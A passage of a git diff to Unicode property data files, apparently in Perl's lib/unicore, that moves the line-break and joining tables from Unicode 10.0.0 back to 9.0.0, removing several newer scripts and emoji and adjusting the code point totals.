10BA9..10BAC ; R # No [4] PSALTER PAHLAVI NUMBER ONE..PSALTER PAHLAVI NUMBER FOUR -# Total code points: 115 +# Total code points: 112 # ================================================ @@ -223,7 +218,6 @@ A872 ; L # Lo PHAGS-PA SUPERFIXED LETTER RA 0AC7..0AC8 ; T # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI 0ACD ; T # Mn GUJARATI SIGN VIRAMA 0AE2..0AE3 ; T # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; T # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; T # Mn ORIYA SIGN CANDRABINDU 0B3C ; T # Mn ORIYA SIGN NUKTA 0B3F ; T # Mn ORIYA VOWEL SIGN I @@ -246,8 +240,7 @@ A872 ; L # Lo PHAGS-PA SUPERFIXED LETTER RA 0CC6 ; T # Mn KANNADA VOWEL SIGN E 0CCC..0CCD ; T # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CE2..0CE3 ; T # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; T # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU -0D3B..0D3C ; T # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA +0D01 ; T # Mn MALAYALAM SIGN CANDRABINDU 0D41..0D44 ; T # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D4D ; T # Mn MALAYALAM SIGN VIRAMA 0D62..0D63 ; T # Mn [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL @@ -332,7 +325,7 @@ A872 ; L # Lo PHAGS-PA SUPERFIXED LETTER RA 1CED ; T # Mn VEDIC SIGN TIRYAK 1CF4 ; T # Mn VEDIC TONE CANDRA ABOVE 1CF8..1CF9 ; T # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; T # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; T # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; T # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 200B ; T # Cf ZERO WIDTH SPACE 200E..200F ; T # Cf [2] LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT MARK @@ -442,15 +435,6 @@ FFF9..FFFB ; T # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTATI 1171D..1171F ; T # Mn [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA 11722..11725 ; T # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11727..1172B ; T # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11A01..11A06 ; T # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A09..11A0A ; T # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; T # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A3B..11A3E ; T # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; T # Mn ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; T # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A59..11A5B ; T # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; T # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A98..11A99 ; T # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C30..11C36 ; T # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; T # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA 11C3F ; T # Mn BHAIKSUKI SIGN VIRAMA @@ -458,11 +442,6 @@ FFF9..FFFB ; T # Cf [3] INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTATI 11CAA..11CB0 ; T # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA 11CB2..11CB3 ; T # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB5..11CB6 ; T # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; T # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; T # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; T # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; T # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; T # Mn MASARAM GONDI RA-KARA 16AF0..16AF4 ; T # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; T # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F8F..16F92 ; T # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW @@ -491,6 +470,6 @@ E0001 ; T # Cf LANGUAGE TAG E0020..E007F ; T # Cf [96] TAG SPACE..CANCEL TAG E0100..E01EF ; T # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 1912 +# Total code points: 1839 # EOF diff --git a/lib/unicore/extracted/DLineBreak.txt b/lib/unicore/extracted/DLineBreak.txt index aff9e19c0a73..f9140d86e159 100644 --- a/lib/unicore/extracted/DLineBreak.txt +++ b/lib/unicore/extracted/DLineBreak.txt @@ -1,6 +1,6 @@ -# DerivedLineBreak-10.0.0.txt -# Date: 2017-03-08, 08:41:50 GMT -# © 2017 Unicode®, Inc. +# DerivedLineBreak-9.0.0.txt +# Date: 2016-06-01, 10:34:26 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -24,8 +24,8 @@ E000..F8FF ; XX # Co [6400] .. F0000..FFFFD ; XX # Co [65534] .. 100000..10FFFD; XX # Co [65534] .. -# The above property value applies to 765432 code points not listed here. -# Total code points: 902900 +# The above property value applies to 766379 code points not listed here. +# Total code points: 903847 # ================================================ @@ -283,10 +283,10 @@ FE54..FE55 ; NS # Po [2] SMALL SEMICOLON..SMALL COLON FF1A..FF1B ; NS # Po [2] FULLWIDTH COLON..FULLWIDTH SEMICOLON FF65 ; NS # Po HALFWIDTH KATAKANA MIDDLE DOT FF9E..FF9F ; NS # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK -16FE0..16FE1 ; NS # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; NS # Lm TANGUT ITERATION MARK 1F679..1F67B ; NS # So [3] HEAVY INTERROBANG ORNAMENT..HEAVY SANS-SERIF INTERROBANG ORNAMENT -# Total code points: 31 +# Total code points: 30 # ================================================ @@ -363,8 +363,7 @@ FE13..FE14 ; IS # Po [2] PRESENTATION FORM FOR VERTICAL COLON..PRESENTATION 20A8..20B5 ; PR # Sc [14] RUPEE SIGN..CEDI SIGN 20B7..20BA ; PR # Sc [4] SPESMILO SIGN..TURKISH LIRA SIGN 20BC..20BD ; PR # Sc [2] MANAT SIGN..RUBLE SIGN -20BF ; PR # Sc BITCOIN SIGN -20C0..20CF ; PR # Cn [16] .. +20BF..20CF ; PR # Cn [17] .. 2116 ; PR # So NUMERO SIGN 2212..2213 ; PR # Sm [2] MINUS SIGN..MINUS-OR-PLUS SIGN FE69 ; PR # Sc SMALL DOLLAR SIGN @@ -456,13 +455,12 @@ ABF0..ABF9 ; NU # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE 11730..11739 ; NU # Nd [10] AHOM DIGIT ZERO..AHOM DIGIT NINE 118E0..118E9 ; NU # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 11C50..11C59 ; NU # Nd [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE -11D50..11D59 ; NU # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 16A60..16A69 ; NU # Nd [10] MRO DIGIT ZERO..MRO DIGIT NINE 16B50..16B59 ; NU # Nd [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE 1D7CE..1D7FF ; NU # Nd [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE 1E950..1E959 ; NU # Nd [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE -# Total code points: 582 +# Total code points: 572 # ================================================ @@ -570,7 +568,6 @@ ABF0..ABF9 ; NU # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE 0830..083E ; AL # Po [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU 0840..0858 ; AL # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN 085E ; AL # Po MANDAIC PUNCTUATION -0860..086A ; AL # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; AL # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; AL # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 08E2 ; AL # Cf ARABIC DISPUTED END OF AYAH @@ -594,8 +591,6 @@ ABF0..ABF9 ; NU # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE 09F0..09F1 ; AL # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL 09F4..09F8 ; AL # No [5] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY NUMERATOR ONE LESS THAN THE DENOMINATOR 09FA ; AL # So BENGALI ISSHAR -09FC ; AL # Lo BENGALI LETTER VEDIC ANUSVARA -09FD ; AL # Po BENGALI ABBREVIATION SIGN 0A05..0A0A ; AL # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU 0A0F..0A10 ; AL # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI 0A13..0A28 ; AL # Lo [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA @@ -930,7 +925,8 @@ ABF0..ABF9 ; NU # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE 23B4..23DB ; AL # So [40] TOP SQUARE BRACKET..FUSE 23DC..23E1 ; AL # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET 23E2..23EF ; AL # So [14] WHITE TRAPEZIUM..BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR -23F4..2426 ; AL # So [51] BLACK MEDIUM LEFT-POINTING TRIANGLE..SYMBOL FOR SUBSTITUTE FORM TWO +23F4..23FE ; AL # So [11] BLACK MEDIUM LEFT-POINTING TRIANGLE..POWER SLEEP SYMBOL +2400..2426 ; AL # So [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2440..244A ; AL # So [11] OCR HOOK..OCR DOUBLE BACKSLASH 24FF ; AL # No NEGATIVE CIRCLED DIGIT ZERO 254C..254F ; AL # So [4] BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL..BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL @@ -991,7 +987,7 @@ ABF0..ABF9 ; NU # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE 2B76..2B95 ; AL # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW 2B98..2BB9 ; AL # So [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX 2BBD..2BC8 ; AL # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA..2BD2 ; AL # So [9] TOP HALF BLACK CIRCLE..GROUP MARK +2BCA..2BD1 ; AL # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN 2BEC..2BEF ; AL # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2C00..2C2E ; AL # L& [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE 2C30..2C5E ; AL # L& [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE @@ -1133,7 +1129,7 @@ FFED..FFEE ; AL # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE 102E1..102FB ; AL # No [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED 10300..1031F ; AL # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS 10320..10323 ; AL # No [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY -1032D..10340 ; AL # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; AL # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; AL # Nl GOTHIC LETTER NINETY 10342..10349 ; AL # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; AL # Nl GOTHIC LETTER NINE HUNDRED @@ -1260,24 +1256,12 @@ FFED..FFEE ; AL # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE 118A0..118DF ; AL # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO 118EA..118F2 ; AL # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY 118FF ; AL # Lo WARANG CITI OM -11A00 ; AL # Lo ZANABAZAR SQUARE LETTER A -11A0B..11A32 ; AL # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A3A ; AL # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A40 ; AL # Po ZANABAZAR SQUARE CLOSING HEAD MARK -11A46 ; AL # Po ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A50 ; AL # Lo SOYOMBO LETTER A -11A5C..11A83 ; AL # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; AL # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA 11AC0..11AF8 ; AL # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; AL # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; AL # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA 11C40 ; AL # Lo BHAIKSUKI SIGN AVAGRAHA 11C5A..11C6C ; AL # No [19] BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK 11C72..11C8F ; AL # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A -11D00..11D06 ; AL # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; AL # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; AL # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D46 ; AL # Lo MASARAM GONDI REPHA 12000..12399 ; AL # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; AL # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; AL # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -1425,9 +1409,8 @@ FFED..FFEE ; AL # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE 1F850..1F859 ; AL # So [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW 1F860..1F887 ; AL # So [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F890..1F8AD ; AL # So [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B ; AL # So [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -# Total code points: 19690 +# Total code points: 19523 # ================================================ @@ -1497,7 +1480,7 @@ FFED..FFEE ; AL # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE 30EF..30F4 ; ID # Lo [6] KATAKANA LETTER WA..KATAKANA LETTER VU 30F7..30FA ; ID # Lo [4] KATAKANA LETTER VA..KATAKANA LETTER VO 30FF ; ID # Lo KATAKANA DIGRAPH KOTO -3105..312E ; ID # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; ID # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; ID # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 3190..3191 ; ID # So [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK 3192..3195 ; ID # No [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK @@ -1517,8 +1500,8 @@ FFED..FFEE ; AL # So [2] HALFWIDTH BLACK SQUARE..HALFWIDTH WHITE CIRCLE 3300..33FF ; ID # So [256] SQUARE APAATO..SQUARE GAL 3400..4DB5 ; ID # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 4DB6..4DBF ; ID # Cn [10] .. -4E00..9FEA ; ID # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA -9FEB..9FFF ; ID # Cn [21] .. +4E00..9FD5 ; ID # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 +9FD6..9FFF ; ID # Cn [42] .. A000..A014 ; ID # Lo [21] YI SYLLABLE IT..YI SYLLABLE E A016..A48C ; ID # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR A490..A4C6 ; ID # So [55] YI RADICAL QOT..YI RADICAL KE @@ -1569,8 +1552,7 @@ FFE3 ; ID # Sk FULLWIDTH MACRON FFE4 ; ID # So FULLWIDTH BROKEN BAR 17000..187EC ; ID # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; ID # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; ID # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; ID # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; ID # Lo [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1F000..1F02B ; ID # So [44] MAHJONG TILE EAST WIND..MAHJONG TILE BACK 1F02C..1F02F ; ID # Cn [4] .. 1F030..1F093 ; ID # So [100] DOMINO TILE HORIZONTAL BACK..DOMINO TILE VERTICAL-06-06 @@ -1594,17 +1576,14 @@ FFE4 ; ID # So FULLWIDTH BROKEN BAR 1F240..1F248 ; ID # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 1F249..1F24F ; ID # Cn [7] .. 1F250..1F251 ; ID # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F252..1F25F ; ID # Cn [14] .. -1F260..1F265 ; ID # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI -1F266..1F2FF ; ID # Cn [154] .. +1F252..1F2FF ; ID # Cn [174] .. 1F300..1F384 ; ID # So [133] CYCLONE..CHRISTMAS TREE 1F386..1F39B ; ID # So [22] FIREWORKS..CONTROL KNOBS 1F39E..1F3B4 ; ID # So [23] FILM FRAMES..FLOWER PLAYING CARDS 1F3B7..1F3BB ; ID # So [5] SAXOPHONE..VIOLIN -1F3BD..1F3C1 ; ID # So [5] RUNNING SHIRT WITH SASH..CHEQUERED FLAG -1F3C5..1F3C6 ; ID # So [2] SPORTS MEDAL..TROPHY -1F3C8..1F3C9 ; ID # So [2] AMERICAN FOOTBALL..RUGBY FOOTBALL -1F3CD..1F3FA ; ID # So [46] RACING MOTORCYCLE..AMPHORA +1F3BD..1F3C2 ; ID # So [6] RUNNING SHIRT WITH SASH..SNOWBOARDER +1F3C5..1F3C9 ; ID # So [5] SPORTS MEDAL..RUGBY FOOTBALL +1F3CC..1F3FA ; ID # So [47] GOLFER..AMPHORA 1F400..1F441 ; ID # So [66] RAT..EYE 1F444..1F445 ; ID # So [2] MOUTH..TONGUE 1F451..1F465 ; ID # So [21] CROWN..BUSTS IN SILHOUETTE @@ -1622,7 +1601,7 @@ FFE4 ; ID # So FULLWIDTH BROKEN BAR 1F4B3..1F4FF ; ID # So [77] CREDIT CARD..PRAYER BEADS 1F507..1F516 ; ID # So [16] SPEAKER WITH CANCELLATION STROKE..BOOKMARK 1F525..1F531 ; ID # So [13] FIRE..TRIDENT EMBLEM -1F54A..1F573 ; ID # So [42] DOVE OF PEACE..HOLE +1F54A..1F574 ; ID # So [43] DOVE OF PEACE..MAN IN BUSINESS SUIT LEVITATING 1F576..1F579 ; ID # So [4] DARK SUNGLASSES..JOYSTICK 1F57B..1F58F ; ID # So [21] LEFT HAND TELEPHONE RECEIVER..TURNED OK HAND SIGN 1F591..1F594 ; ID # So [4] REVERSED RAISED HAND WITH FINGERS SPLAYED..REVERSED VICTORY HAND @@ -1633,38 +1612,35 @@ FFE4 ; ID # So FULLWIDTH BROKEN BAR 1F680..1F6A2 ; ID # So [35] ROCKET..SHIP 1F6A4..1F6B3 ; ID # So [16] SPEEDBOAT..NO BICYCLES 1F6B7..1F6BF ; ID # So [9] NO PEDESTRIANS..SHOWER -1F6C1..1F6CB ; ID # So [11] BATHTUB..COUCH AND LAMP -1F6CD..1F6D4 ; ID # So [8] SHOPPING BAGS..PAGODA -1F6D5..1F6DF ; ID # Cn [11] .. +1F6C1..1F6D2 ; ID # So [18] BATHTUB..SHOPPING TROLLEY +1F6D3..1F6DF ; ID # Cn [13] .. 1F6E0..1F6EC ; ID # So [13] HAMMER AND WRENCH..AIRPLANE ARRIVING 1F6ED..1F6EF ; ID # Cn [3] .. -1F6F0..1F6F8 ; ID # So [9] SATELLITE..FLYING SAUCER -1F6F9..1F6FF ; ID # Cn [7] .. +1F6F0..1F6F6 ; ID # So [7] SATELLITE..CANOE +1F6F7..1F6FF ; ID # Cn [9] .. 1F774..1F77F ; ID # Cn [12] .. 1F7D5..1F7FF ; ID # Cn [43] .. 1F80C..1F80F ; ID # Cn [4] .. 1F848..1F84F ; ID # Cn [8] .. 1F85A..1F85F ; ID # Cn [6] .. 1F888..1F88F ; ID # Cn [8] .. -1F8AE..1F8FF ; ID # Cn [82] .. -1F90C..1F90F ; ID # Cn [4] .. +1F8AE..1F90F ; ID # Cn [98] .. 1F910..1F917 ; ID # So [8] ZIPPER-MOUTH FACE..HUGGING FACE -1F91D ; ID # So HANDSHAKE +1F91F ; ID # Cn 1F920..1F925 ; ID # So [6] FACE WITH COWBOY HAT..LYING FACE -1F927..1F92F ; ID # So [9] SNEEZING FACE..SHOCKED FACE WITH EXPLODING HEAD -1F93A..1F93C ; ID # So [3] FENCER..WRESTLERS +1F927 ; ID # So SNEEZING FACE +1F928..1F92F ; ID # Cn [8] .. +1F931..1F932 ; ID # Cn [2] .. +1F93A..1F93B ; ID # So [2] FENCER..MODERN PENTATHLON 1F93F ; ID # Cn -1F940..1F94C ; ID # So [13] WILTED FLOWER..CURLING STONE -1F94D..1F94F ; ID # Cn [3] .. -1F950..1F96B ; ID # So [28] CROISSANT..CANNED FOOD -1F96C..1F97F ; ID # Cn [20] .. -1F980..1F997 ; ID # So [24] CRAB..CRICKET -1F998..1F9BF ; ID # Cn [40] .. +1F940..1F94B ; ID # So [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F94C..1F94F ; ID # Cn [4] .. +1F950..1F95E ; ID # So [15] CROISSANT..PANCAKES +1F95F..1F97F ; ID # Cn [33] .. +1F980..1F991 ; ID # So [18] CRAB..SQUID +1F992..1F9BF ; ID # Cn [46] .. 1F9C0 ; ID # So CHEESE WEDGE -1F9C1..1F9CF ; ID # Cn [15] .. -1F9D0 ; ID # So FACE WITH MONOCLE -1F9DE..1F9E6 ; ID # So [9] GENIE..SOCKS -1F9E7..1FFFD ; ID # Cn [1559] .. +1F9C1..1FFFD ; ID # Cn [1597] .. 20000..2A6D6 ; ID # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 2A6D7..2A6FF ; ID # Cn [41] .. 2A700..2B734 ; ID # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 @@ -1672,14 +1648,12 @@ FFE4 ; ID # So FULLWIDTH BROKEN BAR 2B740..2B81D ; ID # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B81E..2B81F ; ID # Cn [2] .. 2B820..2CEA1 ; ID # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEA2..2CEAF ; ID # Cn [14] .. -2CEB0..2EBE0 ; ID # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 -2EBE1..2F7FF ; ID # Cn [3103] .. +2CEA2..2F7FF ; ID # Cn [10590] .. 2F800..2FA1D ; ID # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D 2FA1E..2FFFD ; ID # Cn [1504] .. 30000..3FFFD ; ID # Cn [65534] .. -# Total code points: 172784 +# Total code points: 172133 # ================================================ @@ -1778,7 +1752,6 @@ FE19 ; IN # Po PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS 0ACB..0ACC ; CM # Mc [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU 0ACD ; CM # Mn GUJARATI SIGN VIRAMA 0AE2..0AE3 ; CM # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; CM # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; CM # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; CM # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B3C ; CM # Mn ORIYA SIGN NUKTA @@ -1820,9 +1793,8 @@ FE19 ; IN # Po PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS 0CCC..0CCD ; CM # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CD5..0CD6 ; CM # Mc [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK 0CE2..0CE3 ; CM # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; CM # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; CM # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; CM # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA -0D3B..0D3C ; CM # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3E..0D40 ; CM # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; CM # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D46..0D48 ; CM # Mc [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI @@ -1908,9 +1880,8 @@ FE19 ; IN # Po PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS 1CED ; CM # Mn VEDIC SIGN TIRYAK 1CF2..1CF3 ; CM # Mc [2] VEDIC SIGN 